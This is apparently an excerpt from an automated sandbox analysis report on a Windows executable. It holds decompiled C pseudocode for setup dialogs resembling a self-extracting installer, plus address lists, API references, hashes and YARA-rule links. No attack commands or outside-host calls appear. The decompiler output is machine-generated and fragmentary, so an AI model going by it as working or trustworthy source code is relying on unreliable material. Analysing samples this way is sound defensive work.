									_t671 =  *((intOrPtr*)(_t574 + 0x6cb4));
									 *(_t706 + 0xb) = _t671;
									 *(_t706 + 0xc) = _t671;
									__eflags = _t671;
									if(_t671 == 0) {
										goto L214;
									} else {
										_t667 = 0;
										__eflags = 0;
										goto L43;
									}
								}
								__eflags =  *(_t683 + 0xec) -  *((intOrPtr*)(_t577 + 0xa32c));
								if( *(_t683 + 0xec) <  *((intOrPtr*)(_t577 + 0xa32c))) {
									goto L29;
								}
								__eflags =  *((char*)(_t683 + 0xf1));
								if( *((char*)(_t683 + 0xf1)) != 0) {
									goto L219;
								}
								goto L29;
							}
							if(__eflags < 0) {
								L25:
								 *(_t574 + 0x32e0) = _t665;
								 *(_t574 + 0x32e4) = _t665;
								goto L26;
							}
							__eflags =  *(_t574 + 0x32e0) - _t665;
							if( *(_t574 + 0x32e0) >= _t665) {
								goto L26;
							}
							goto L25;
						}
						if(__eflags < 0) {
							L21:
							 *(_t574 + 0x32d8) = _t665;
							 *(_t574 + 0x32dc) = _t665;
							goto L22;
						}
						__eflags =  *(_t574 + 0x32d8) - _t665;
						if( *(_t574 + 0x32d8) >= _t665) {
							goto L22;
						}
						goto L21;
					}
					__eflags = _t690 - 3;
					if(_t690 != 3) {
						L10:
						__eflags = _t690 - 5;
						if(_t690 != 5) {
							goto L217;
						}
						__eflags =  *((char*)(_t574 + 0x45ac));
						if( *((char*)(_t574 + 0x45ac)) == 0) {
							goto L219;
						}
						_push( *(_t706 - 0x18));
						_push(0);
						_push(_t683 + 0x10);
						_push(_t574);
						_t564 = E013680D0(_t665);
						__eflags = _t564;
						if(_t564 != 0) {
							__eflags = 0;
							 *((intOrPtr*)( *_t574 + 0x10))( *((intOrPtr*)(_t574 + 0x6ca0)),  *((intOrPtr*)(_t574 + 0x6ca4)), 0);
							goto L15;
						} else {
							E01356E03(0x13900e0, 1);
							goto L219;
						}
					}
					__eflags =  *(_t683 + 0x10f5);
					if( *(_t683 + 0x10f5) == 0) {
						goto L217;
					} else {
						E013579A7(_t574, _t706,  *(_t683 + 8), _t574, _t683 + 0x10f6);
						goto L10;
					}
				}
				if( *((intOrPtr*)(_t683 + 0x5f)) == 0) {
					L4:
					_t393 = 0;
					goto L17;
				}
				_push(_t370);
				_push(0);
				_push(_t683 + 0x10);
				_push(_t574);
				if(E013680D0(0) != 0) {
					_t665 = 0;
					__eflags = 0;
					goto L6;
				} else {
					E01356E03(0x13900e0, 1);
					goto L4;
				}
			}

0x013583c0
0x013583c5
0x013583cf
0x013583d5
0x013583d8
0x013583db
0x013583dd
0x013583e3
0x013583ea
0x013583f0
0x0135841c
0x0135841d
0x01358423
0x01358426
0x013584b5
0x013584bb
0x013584c1
0x013584d9
0x013584d9
0x013584df
0x013584f7
0x013584f7
0x013584fa
0x01358500
0x0135851d
0x01358522
0x01358526
0x01358530
0x0135853b
0x01358540
0x01358542
0x01358545
0x01358548
0x0135854a
0x0135854c
0x01358550
0x01358552
0x01358554
0x01358554
0x01358550
0x0135855c
0x01358561
0x01358562
0x0135856f
0x01358570
0x01358578
0x0135857f
0x01358582
0x013585d9
0x013585de
0x013585e0
0x013585e2
0x013585e8
0x013585ee
0x013585f2
0x013585f2
0x013585f2
0x013585f2
0x01358584
0x01358587
0x0135858d
0x0135858f
0x01358591
0x01358595
0x01358597
0x0135859e
0x013585a3
0x013585a4
0x013585ab
0x013585b0
0x013585ba
0x013585bc
0x013585d2
0x013585be
0x013585c0
0x013585c7
0x013585c9
0x013585c9
0x013585bc
0x01358595
0x0135858f
0x013585fb
0x01358600
0x01358618
0x01358622
0x01358625
0x01358627
0x0135862b
0x0135862e
0x01358631
0x01358634
0x0135864c
0x0135864f
0x01358654
0x0135865a
0x0135865b
0x0135865d
0x01358666
0x01358666
0x01358668
0x0135866b
0x01358675
0x0135867c
0x01358681
0x01358683
0x01359042
0x01359042
0x013584a2
0x013584a3
0x013584a8
0x013584b2
0x013584b2
0x01358697
0x0135869a
0x013586a2
0x013586a9
0x013586ac
0x013586c3
0x013586c3
0x013586c6
0x013586c6
0x013586cb
0x013586ce
0x013586d5
0x013586d6
0x013586d9
0x013586dc
0x013586e7
0x013586e7
0x013586ea
0x013586f1
0x013586f1
0x013586f7
0x013586fe
0x013586ff
0x0135870d
0x01358712
0x01358714
0x0135874c
0x0135874f
0x0135875b
0x0135875b
0x0135875b
0x0135875e
0x0135875e
0x01358768
0x0135876d
0x0135876f
0x01358793
0x01358793
0x0135879a
0x00000000
0x00000000
0x0135879c
0x013587a6
0x013587ab
0x013587ad
0x0135888c
0x00000000
0x0135888c
0x013587b3
0x013587b6
0x013587c4
0x013587c5
0x013587c5
0x013587c7
0x013587d0
0x013587d3
0x013587df
0x013587f2
0x013587fc
0x0135880e
0x01358813
0x0135881a
0x013588b0
0x013588b0
0x013588b4
0x013588ba
0x013588bf
0x013588c5
0x013588ca
0x013588d0
0x013588d7
0x013588dc
0x013588dd
0x013588df
0x01358972
0x01358974
0x01358979
0x0135897b
0x013589cd
0x013589d0
0x013589d2
0x013589f6
0x013589f9
0x013589f9
0x01358a00
0x01358a38
0x01358a3a
0x01358ff7
0x01358ff7
0x01358ffb
0x01359001
0x01359006
0x0135900a
0x0135900d
0x01359010
0x01359012
0x01359012
0x01359012
0x01359012
0x01359018
0x01359018
0x0135901c
0x00000000
0x00000000
0x0135901e
0x01359020
0x013584a0
0x013584a0
0x00000000
0x013584a0
0x01359026
0x0135902c
0x0135903a
0x0135903c
0x00000000
0x00000000
0x00000000
0x0135903c
0x0135902e
0x01359030
0x00000000
0x01359030
0x01358a40
0x01358a40
0x01358a43
0x01358a4a
0x01358a5c
0x01358a5c
0x01358a5f
0x01358a61
0x01358aa8
0x01358aa8
0x01358aac
0x01358aae
0x01358ab6
0x01358ab6
0x01358aca
0x01358ad0
0x01358ad6
0x01358adc
0x01358aed
0x01358b03
0x01358b0e
0x01358b17
0x01358b1a
0x01358b21
0x01358b27
0x01358b2c
0x01358b2f
0x01358b31
0x01358b34
0x01358b37
0x01358b3a
0x01358b3d
0x01358b40
0x01358b42
0x01358be5
0x01358be5
0x01358be8
0x01358bef
0x01358bf6
0x01358bfa
0x01358c10
0x01358c12
0x01358c12
0x01358c13
0x01358c13
0x01358c17
0x01358c1a
0x01358c1d
0x01358c20
0x01358d2c
0x01358d33
0x01358d35
0x01358d3c
0x01358d66
0x01358d6b
0x01358d7d
0x01358d83
0x01358d85
0x01358d8b
0x01358da5
0x01358d3e
0x01358d3e
0x01358d44
0x01358d4a
0x01358d4b
0x01358d4b
0x01358d3c
0x01358daa
0x01358dac
0x01358db1
0x01358db8
0x01358dea
0x01358dea
0x01358dea
0x01358dec
0x01358dee
0x01358dee
0x01358df5
0x01358dff
0x01358e06
0x01358e25
0x01358e25
0x01358e29
0x01358e2c
0x01358e8d
0x01358e8d
0x01358e91
0x01358e94
0x01358ea7
0x01358ea7
0x01358ea7
0x01358ea9
0x01358ea9
0x01358ead
0x00000000
0x00000000
0x01358eb3
0x01358eb6
0x01358eba
0x01358ec6
0x01358ec6
0x01358eca
0x01358ee5
0x01358ee5
0x01358ee7
0x01358efc
0x01358efc
0x01358efe
0x01358fc2
0x01358fc2
0x01358fc5
0x01358fcc
0x01358fd4
0x01358fdb
0x01358fe0
0x01358fe2
0x01358feb
0x01358feb
0x01358fe2
0x01358ff0
0x00000000
0x01358ff0
0x01358f04
0x01358f09
0x01358f0b
0x01358f0e
0x01358f14
0x01358f14
0x01358f16
0x01358f28
0x01358f28
0x01358f2e
0x01358f33
0x01358f3c
0x01358f50
0x01358f57
0x01358f6a
0x01358f6c
0x01358f75
0x01358f7a
0x01358f80
0x01358f8f
0x01358fa2
0x01358fb5
0x01358fb7
0x01358fba
0x01358fbf
0x00000000
0x01358fbf
0x01358f18
0x01358f1e
0x00000000
0x00000000
0x01358f20
0x01358f26
0x00000000
0x00000000
0x00000000
0x01358f26
0x01358f10
0x01358f12
0x00000000
0x00000000
0x00000000
0x01358f12
0x01358ee9
0x01358eec
0x01358ef3
0x00000000
0x00000000
0x01358ef9
0x00000000
0x01358ef9
0x01358ecc
0x01358ece
0x00000000
0x00000000
0x01358ed0
0x01358ed7
0x00000000
0x00000000
0x01358edd
0x01358edf
0x00000000
0x00000000
0x00000000
0x01358edf
0x01358ebc
0x01358ec0
0x00000000
0x00000000
0x00000000
0x01358ec0
0x01358e96
0x01358e9d
0x00000000
0x00000000
0x01358e9f
0x01358ea1
0x00000000
0x00000000
0x01358ea3
0x00000000
0x01358ea3
0x01358e2e
0x01358e32
0x00000000
0x00000000
0x01358e34
0x01358e36
0x00000000
0x00000000
0x01358e38
0x01358e3e
0x01358e68
0x01358e68
0x01358e72
0x01358e73
0x01358e75
0x01358e75
0x01358e81
0x01358e85
0x01358e8a
0x00000000
0x01358e8a
0x01358e40
0x01358e46
0x01358e50
0x01358e50
0x01358e57
0x00000000
0x00000000
0x01358e59
0x01358e63
0x01358e64
0x00000000
0x01358e64
0x01358e48
0x01358e4e
0x00000000
0x00000000
0x00000000
0x01358e4e
0x01358e08
0x01358e0e
0x00000000
0x00000000
0x01358e10
0x01358e1a
0x01358e1a
0x01358e1c
0x01358e1e
0x01358e1e
0x00000000
0x01358e1c
0x01358e12
0x01358e18
0x00000000
0x00000000
0x00000000
0x01358e18
0x01358df7
0x00000000
0x01358df7
0x01358dcf
0x01358ddb
0x01358de0
0x01358de2
0x00000000
0x00000000
0x01358de4
0x01358de6
0x00000000
0x01358de6
0x01358c26
0x01358c2c
0x01358c2f
0x01358c98
0x01358c9d
0x01358cae
0x01358cb3
0x01358cb6
0x01358cb8
0x01358d05
0x01358d05
0x01358d08
0x01358d08
0x01358d0f
0x01358c64
0x01358c64
0x01358c66
0x01358d22
0x01358d22
0x01358d22
0x01358d24
0x01358d24
0x00000000
0x01358d24
0x01358c6c
0x01358c6c
0x01358c6e
0x00000000
0x00000000
0x01358c76
0x00000000
0x01358c76
0x01358d15
0x01358d17
0x00000000
0x00000000
0x01358c60
0x01358c60
0x00000000
0x01358c60
0x01358cba
0x01358cc2
0x00000000
0x00000000
0x01358cc4
0x01358cca
0x01358cd6
0x01358cd7
0x01358cda
0x01358ce8
0x01358ce9
0x01358cf0
0x01358cdc
0x01358cdc
0x01358cdc
0x01358cf5
0x01358cf5
0x01358cf8
0x01358cfa
0x01358c5d
0x01358c5d
0x00000000
0x01358c5d
0x01358d00
0x00000000
0x01358d00
0x01358c31
0x01358c34
0x00000000
0x00000000
0x01358c36
0x01358c38
0x01358c7c
0x01358c7c
0x01358c7e
0x00000000
0x00000000
0x01358c8a
0x01358c91
0x00000000
0x01358c91
0x01358c3a
0x01358c3d
0x00000000
0x00000000
0x01358c3f
0x01358c42
0x00000000
0x00000000
0x01358c51
0x01358c56
0x01358c58
0x01358c5a
0x00000000
0x01358c5a
0x01358bfc
0x01358bfe
0x00000000
0x00000000
0x01358c02
0x01358c03
0x01358c07
0x00000000
0x00000000
0x01358c0b
0x01358c0c
0x00000000
0x01358c0c
0x01358b48
0x01358b4e
0x00000000
0x00000000
0x01358b54
0x01358b5a
0x01358b60
0x01358b62
0x01358be2
0x01358be2
0x00000000
0x01358be2
0x01358b64
0x01358b6e
0x01358b6e
0x01358b7e
0x01358b81
0x01358b83
0x01358bdd
0x01358bdd
0x01358be0
0x01358be0
0x00000000
0x01358be0
0x01358b85
0x01358b8b
0x01358b8d
0x01358b8f
0x01358bb4
0x01358bba
0x01358bc6
0x01358bd1
0x01358bda
0x00000000
0x01358bda
0x01358b91
0x01358b9b
0x01358b9d
0x01358ba2
0x01358ba8
0x00000000
0x00000000
0x01358baa
0x00000000
0x00000000
0x01358bac
0x01358bb2
0x00000000
0x00000000
0x00000000
0x01358bb2
0x01358b93
0x01358b99
0x00000000
0x00000000
0x00000000
0x01358b99
0x01358b87
0x01358b89
0x00000000
0x00000000
0x00000000
0x01358b89
0x01358b66
0x01358b6c
0x00000000
0x00000000
0x00000000
0x01358b6c
0x01358ab0
0x01358ab0
0x01358ab0
0x01358ab0
0x00000000
0x01358ab0
0x01358a67
0x01358a6a
0x01358a6b
0x01358a6e
0x01358a70
0x01358a7b
0x01358a7d
0x01358a8c
0x01358a9e
0x01358a9e
0x01358a7d
0x00000000
0x01358a6e
0x01358a4c
0x01358a53
0x01358a5a
0x01358aa5
0x00000000
0x01358aa5
0x00000000
0x01358a5a
0x01358a06
0x01358a09
0x01358a10
0x01358a17
0x01358a1c
0x01358a1e
0x00000000
0x00000000
0x01358a20
0x01358a22
0x01358a25
0x01358a25
0x01358a2b
0x01358a30
0x00000000
0x01358a30
0x013589d4
0x013589dd
0x013589de
0x013589e3
0x013589e6
0x013589e8
0x013589f0
0x013589f0
0x013589f2
0x00000000
0x00000000
0x00000000
0x013589f4
0x0135897d
0x01358981
0x01358987
0x0135898a
0x0135898e
0x01358996
0x01358997
0x0135899a
0x013589a2
0x013589a3
0x013589a6
0x013589a8
0x013589ae
0x013589b4
0x013589b6
0x013589bc
0x013589c3
0x013589c6
0x013589c6
0x013589b4
0x013589a6
0x0135899a
0x0135898e
0x00000000
0x01358981
0x013588e5
0x013588e8
0x00000000
0x00000000
0x013588ee
0x013588f1
0x013588f4
0x013588f6
0x00000000
0x00000000
0x013588fc
0x013588ff
0x00000000
0x00000000
0x01358905
0x01358908
0x0135890f
0x00000000
0x00000000
0x01358917
0x01358921
0x01358926
0x01358928
0x0135895f
0x0135895f
0x01358963
0x013589ed
0x00000000
0x013589ed
0x01358969
0x0135896b
0x0135896d
0x00000000
0x0135896d
0x0135892a
0x0135892e
0x00000000
0x00000000
0x01358930
0x01358938
0x01358939
0x01358940
0x0135895a
0x00000000
0x0135895a
0x01358820
0x01358827
0x00000000
0x00000000
0x0135882f
0x0135883a
0x0135883f
0x01358842
0x01358844
0x00000000
0x00000000
0x01358846
0x0135884d
0x00000000
0x00000000
0x0135884f
0x01358856
0x01358860
0x01358861
0x01358898
0x0135889a
0x013588a6
0x013588ab
0x013588ad
0x00000000
0x013588ad
0x01358863
0x01358865
0x01358873
0x01358878
0x0135887c
0x01358882
0x01358882
0x01358793
0x01358778
0x0135877f
0x01358784
0x0135878b
0x00000000
0x0135878b
0x0135871d
0x01358723
0x01358728
0x0135872a
0x00000000
0x00000000
0x0135872c
0x01358733
0x01358745
0x01358747
0x00000000
0x01358747
0x01358736
0x0135873c
0x01358741
0x01358743
0x00000000
0x00000000
0x00000000
0x01358743
0x013586ec
0x013586ef
0x00000000
0x00000000
0x00000000
0x013586ef
0x013586de
0x013586e5
0x00000000
0x00000000
0x00000000
0x013586e5
0x013586ae
0x013586b5
0x00000000
0x00000000
0x013586b7
0x013586bb
0x013586c1
0x00000000
0x00000000
0x00000000
0x013586c1
0x0135865f
0x01358662
0x01358664
0x00000000
0x00000000
0x00000000
0x01358664
0x01358636
0x0135863c
0x0135863f
0x01358642
0x01358644
0x00000000
0x0135864a
0x0135864a
0x0135864a
0x00000000
0x0135864a
0x01358644
0x01358508
0x0135850e
0x00000000
0x00000000
0x01358510
0x01358517
0x00000000
0x00000000
0x00000000
0x01358517
0x013584e1
0x013584eb
0x013584eb
0x013584f1
0x00000000
0x013584f1
0x013584e3
0x013584e9
0x00000000
0x00000000
0x00000000
0x013584e9
0x013584c3
0x013584cd
0x013584cd
0x013584d3
0x00000000
0x013584d3
0x013584c5
0x013584cb
0x00000000
0x00000000
0x00000000
0x013584cb
0x0135842c
0x0135842f
0x0135844e
0x0135844e
0x01358451
0x00000000
0x00000000
0x01358457
0x0135845e
0x00000000
0x00000000
0x01358469
0x0135846a
0x0135846e
0x0135846f
0x01358470
0x01358475
0x01358477
0x0135848c
0x0135849d
0x00000000
0x01358479
0x01358480
0x00000000
0x01358480
0x01358477
0x01358431
0x01358438
0x00000000
0x0135843e
0x01358449
0x00000000
0x01358449
0x01358438
0x013583f5
0x01358413
0x01358413
0x00000000
0x01358413
0x013583f7
0x013583f8
0x013583fc
0x013583fd
0x01358405
0x0135841a
0x0135841a
0x00000000
0x01358407
0x0135840e
0x00000000
0x0135840e

APIs

__EH_prolog.LIBCMT ref: 013583C5
_memcmp.LIBVCRUNTIME ref: 0135883A

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog_memcmp
String ID:
API String ID: 3004599000-0
Opcode ID: c04d74b9beda44981f3808fe1a7b7e22aa8717406edc8001d6012afc80ec878d
Instruction ID: eb62311b5b0b1e375b486ce6d0babd71c5f225c6291d94fd0a9250c9d9b53719
Opcode Fuzzy Hash: c04d74b9beda44981f3808fe1a7b7e22aa8717406edc8001d6012afc80ec878d
Instruction Fuzzy Hash: BD820771904286AEEF96CF69C880FFABBB9AF15708F0841F9DD499B142D7315684CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0136E643, Relevance: 1.5, APIs: 1, Instructions: 3
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0136E643() {
				_Unknown_base(*)()* _t1;

				_t1 = SetUnhandledExceptionFilter(E0136E64F); // executed
				return _t1;
			}

0x0136e648
0x0136e64e

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_0001E64F,0136E084), ref: 0136E648

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 4e56768654bb9d971ff712ee02a702c5eea424316902da2c296323929081f8de
Instruction ID: fec0fd92c4dac32d422f997a30538155df5b8aafe2fee00f2f3bbd98cc16bc3e
Opcode Fuzzy Hash: 4e56768654bb9d971ff712ee02a702c5eea424316902da2c296323929081f8de
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 0136626D, Relevance: .3, Instructions: 325COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 90684aff0aa0dfb3489a33b59f42370400569a411f7b05f7886f60b35f3a2759
Instruction ID: fbeab36e48f4f9598f1a67e431148211d09805ee4577c4fb95fd1511244c884d
Opcode Fuzzy Hash: 90684aff0aa0dfb3489a33b59f42370400569a411f7b05f7886f60b35f3a2759
Instruction Fuzzy Hash: B9D127B1A043428FDB14CF28C88275BBBE9BF9434CF04856DE9449B64AD734E918CBD6

Uniqueness

Uniqueness Score: -1.00%

Function 0136A5D1, Relevance: 98.7, APIs: 47, Strings: 9, Instructions: 724
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E0136A5D1(void* __ecx, void* __edx, void* __eflags, void* __fp0) {
				void* __ebx;
				long _t105;
				long _t106;
				struct HWND__* _t107;
				struct HWND__* _t111;
				void* _t114;
				void* _t115;
				int _t116;
				void* _t133;
				void* _t137;
				signed int _t149;
				struct HWND__* _t152;
				void* _t163;
				void* _t166;
				int _t169;
				void* _t182;
				struct HWND__* _t189;
				void* _t190;
				long _t195;
				void* _t220;
				signed int _t230;
				void* _t231;
				void* _t246;
				long _t247;
				long _t248;
				long _t249;
				signed int _t254;
				WCHAR* _t255;
				int _t259;
				int _t261;
				void* _t266;
				void* _t270;
				signed short _t275;
				int _t277;
				struct HWND__* _t279;
				WCHAR* _t286;
				WCHAR* _t288;
				intOrPtr _t290;
				void* _t299;
				void* _t300;
				struct HWND__* _t302;
				signed int _t305;
				void* _t306;
				struct HWND__* _t308;
				void* _t310;
				long _t312;
				struct HWND__* _t315;
				struct HWND__* _t316;
				void* _t317;
				void* _t319;
				void* _t321;
				void* _t323;

				_t299 = __edx;
				_t285 = __ecx;
				E0136D870(E013814F6, _t321);
				E0136D940();
				_t275 =  *(_t321 + 0x10);
				_t305 =  *(_t321 + 0xc);
				_t302 =  *(_t321 + 8);
				if(E013512D7(_t299, _t302, _t305, _t275,  *(_t321 + 0x14), L"STARTDLG", 0, 0) == 0) {
					_t306 = _t305 - 0x110;
					__eflags = _t306;
					if(__eflags == 0) {
						E0136C343(_t299, __eflags, __fp0, _t302);
						_t105 =  *0x139b704;
						_t277 = 1;
						 *0x13975d8 = _t302;
						 *0x13975c8 = _t302;
						__eflags = _t105;
						if(_t105 != 0) {
							SendMessageW(_t302, 0x80, 1, _t105); // executed
						}
						_t106 =  *0x13a5d04;
						__eflags = _t106;
						if(_t106 != 0) {
							SendDlgItemMessageW(_t302, 0x6c, 0x172, 0, _t106); // executed
						}
						_t107 = GetDlgItem(_t302, 0x68);
						 *(_t321 + 0x14) = _t107;
						SendMessageW(_t107, 0x435, 0, 0x400000);
						E013695F8(_t321 - 0x1164, 0x800);
						_t111 = GetDlgItem(_t302, 0x66);
						__eflags =  *0x1399602;
						_t308 = _t111;
						 *(_t321 + 0x10) = _t308;
						_t286 = 0x1399602;
						if( *0x1399602 == 0) {
							_t286 = _t321 - 0x1164;
						}
						SetWindowTextW(_t308, _t286);
						E01369A32(_t308); // executed
						_push(0x13975e4);
						_push(0x13975e0);
						_push(0x13ace18);
						_push(_t302);
						 *0x13975d6 = 0; // executed
						_t114 = E01369EEF(_t286, _t299, __eflags); // executed
						__eflags = _t114;
						if(_t114 == 0) {
							 *0x13975d1 = _t277;
						}
						__eflags =  *0x13975e4;
						if( *0x13975e4 > 0) {
							_push(7);
							_push( *0x13975e0);
							_push(_t302);
							E0136B4C7(_t299);
						}
						__eflags =  *0x13ade20;
						if( *0x13ade20 == 0) {
							SetDlgItemTextW(_t302, 0x6b, E0135DA42(_t286, 0xbf));
							SetDlgItemTextW(_t302, _t277, E0135DA42(_t286, 0xbe));
						}
						__eflags =  *0x13975e4;
						if( *0x13975e4 <= 0) {
							L103:
							__eflags =  *0x13975d6;
							if( *0x13975d6 != 0) {
								L114:
								__eflags =  *0x13995fc - 2;
								if( *0x13995fc == 2) {
									EnableWindow(_t308, 0);
								}
								__eflags =  *0x13985f8;
								if( *0x13985f8 != 0) {
									E01351294(_t302, 0x67, 0);
									E01351294(_t302, 0x66, 0);
								}
								_t115 =  *0x13995fc;
								__eflags = _t115;
								if(_t115 != 0) {
									__eflags =  *0x13975d7;
									if( *0x13975d7 == 0) {
										_push(0);
										_push(_t277);
										_push(0x111);
										_push(_t302);
										__eflags = _t115 - _t277;
										if(_t115 != _t277) {
											 *0x138df38();
										} else {
											SendMessageW(); // executed
										}
									}
								}
								__eflags =  *0x13975d1;
								if( *0x13975d1 != 0) {
									SetDlgItemTextW(_t302, _t277, E0135DA42(_t286, 0x90));
								}
								goto L125;
							}
							__eflags =  *0x13ace0c;
							if( *0x13ace0c != 0) {
								goto L114;
							}
							__eflags =  *0x13995fc;
							if( *0x13995fc != 0) {
								goto L114;
							}
							__eflags = 0;
							_t310 = 0xaa;
							 *((short*)(_t321 - 0x9688)) = 0;
							do {
								__eflags = _t310 - 0xaa;
								if(_t310 != 0xaa) {
									L109:
									__eflags = _t310 - 0xab;
									if(__eflags != 0) {
										L111:
										E0135FA89(__eflags, _t321 - 0x9688, " ", 0x2000);
										E0135FA89(__eflags, _t321 - 0x9688, E0135DA42(_t286, _t310), 0x2000);
										goto L112;
									}
									__eflags =  *0x13ade20;
									if(__eflags != 0) {
										goto L112;
									}
									goto L111;
								}
								__eflags =  *0x13ade20;
								if( *0x13ade20 == 0) {
									goto L112;
								}
								goto L109;
								L112:
								_t310 = _t310 + 1;
								__eflags = _t310 - 0xb0;
							} while (__eflags <= 0);
							_t286 =  *0x13975e8; // 0x0
							E01368FE6(_t286, __eflags,  *0x1390064,  *(_t321 + 0x14), _t321 - 0x9688, 0, 0);
							_t308 =  *(_t321 + 0x10);
							goto L114;
						} else {
							_push(0);
							_push( *0x13975e0);
							_push(_t302); // executed
							E0136B4C7(_t299); // executed
							_t133 =  *0x13ace0c;
							__eflags = _t133;
							if(_t133 != 0) {
								__eflags =  *0x13995fc;
								if(__eflags == 0) {
									_t288 =  *0x13975e8; // 0x0
									E01368FE6(_t288, __eflags,  *0x1390064,  *(_t321 + 0x14), _t133, 0, 0);
									L01372B4E( *0x13ace0c);
									_pop(_t286);
								}
							}
							__eflags =  *0x13995fc - _t277;
							if( *0x13995fc == _t277) {
								L102:
								_push(_t277);
								_push( *0x13975e0);
								_push(_t302);
								E0136B4C7(_t299);
								goto L103;
							} else {
								 *0x138df3c(_t302);
								__eflags =  *0x13995fc - _t277;
								if( *0x13995fc == _t277) {
									goto L102;
								}
								__eflags =  *0x1399601;
								if( *0x1399601 != 0) {
									goto L102;
								}
								_push(3);
								_push( *0x13975e0);
								_push(_t302);
								E0136B4C7(_t299);
								__eflags =  *0x13ade18;
								if( *0x13ade18 == 0) {
									goto L102;
								}
								_t137 = DialogBoxParamW( *0x1390064, L"LICENSEDLG", 0, E0136A3E1, 0);
								__eflags = _t137;
								if(_t137 == 0) {
									L25:
									 *0x13975d7 = _t277;
									L26:
									_push(_t277);
									L13:
									EndDialog(_t302, ??); // executed
									L125:
									_t116 = _t277;
									L126:
									 *[fs:0x0] =  *((intOrPtr*)(_t321 - 0xc));
									return _t116;
								}
								goto L102;
							}
						}
					}
					__eflags = _t306 != 1;
					if(_t306 != 1) {
						L7:
						_t116 = 0;
						goto L126;
					}
					_t149 = (_t275 & 0x0000ffff) - 1;
					__eflags = _t149;
					if(_t149 == 0) {
						__eflags =  *0x13975d0;
						if( *0x13975d0 != 0) {
							L23:
							_t312 = 0x800;
							GetDlgItemTextW(_t302, 0x66, _t321 - 0x2164, 0x800);
							__eflags =  *0x13975d0;
							if( *0x13975d0 == 0) {
								__eflags =  *0x13975d1;
								if( *0x13975d1 == 0) {
									_t152 = GetDlgItem(_t302, 0x68);
									__eflags =  *0x13975cc;
									_t279 = _t152;
									if( *0x13975cc == 0) {
										SendMessageW(_t279, 0xb1, 0, 0xffffffff);
										SendMessageW(_t279, 0xc2, 0, 0x13822e4);
										_t312 = 0x800;
									}
									SetFocus(_t279);
									__eflags =  *0x13985f8;
									if( *0x13985f8 == 0) {
										E0135FAB1(_t321 - 0x1164, _t321 - 0x2164, _t312);
										E0136C10F(_t285, _t321 - 0x1164, _t312);
										E01353E41(_t321 - 0x4288, 0x880, E0135DA42(_t285, 0xb9), _t321 - 0x1164);
										_t323 = _t323 + 0x10;
										_t163 = _t321 - 0x4288;
									} else {
										_t163 = E0135DA42(_t285, 0xba);
									}
									E0136C190(0, _t163);
									__eflags =  *0x1399601;
									if( *0x1399601 == 0) {
										E0136C7FC(_t321 - 0x2164);
									}
									_push(0);
									_push(_t321 - 0x2164);
									 *(_t321 + 0x17) = 0;
									_t166 = E01359D3A(0, _t321);
									_t277 = 1;
									__eflags = _t166;
									if(_t166 != 0) {
										L40:
										_t300 = E01369A8D(_t321 - 0x2164);
										 *((char*)(_t321 + 0x13)) = _t300;
										__eflags = _t300;
										if(_t300 != 0) {
											L43:
											_t169 =  *(_t321 + 0x17);
											L44:
											_t285 =  *0x1399601;
											__eflags = _t285;
											if(_t285 != 0) {
												L50:
												__eflags =  *((char*)(_t321 + 0x13));
												if( *((char*)(_t321 + 0x13)) != 0) {
													 *0x13975dc = _t277;
													E013512B2(_t302, 0x67, 0);
													E013512B2(_t302, 0x66, 0);
													SetDlgItemTextW(_t302, _t277, E0135DA42(_t285, 0xe6)); // executed
													E013512B2(_t302, 0x69, _t277);
													SetDlgItemTextW(_t302, 0x65, 0x13822e4); // executed
													_t315 = GetDlgItem(_t302, 0x65);
													__eflags = _t315;
													if(_t315 != 0) {
														_t195 = GetWindowLongW(_t315, 0xfffffff0) | 0x00000080;
														__eflags = _t195;
														SetWindowLongW(_t315, 0xfffffff0, _t195);
													}
													_push(5);
													_push( *0x13975e0);
													_push(_t302);
													E0136B4C7(_t300);
													_push(2);
													_push( *0x13975e0);
													_push(_t302);
													E0136B4C7(_t300);
													_push(0x13ace18);
													_push(_t302);
													 *0x13afe3c = _t277; // executed
													E0136C6FF(_t285, __eflags); // executed
													_push(6);
													_push( *0x13975e0);
													 *0x13afe3c = 0;
													_push(_t302);
													E0136B4C7(_t300);
													__eflags =  *0x13975d7;
													if( *0x13975d7 == 0) {
														__eflags =  *0x13975cc;
														if( *0x13975cc == 0) {
															__eflags =  *0x13ade2c;
															if( *0x13ade2c == 0) {
																_push(4);
																_push( *0x13975e0);
																_push(_t302);
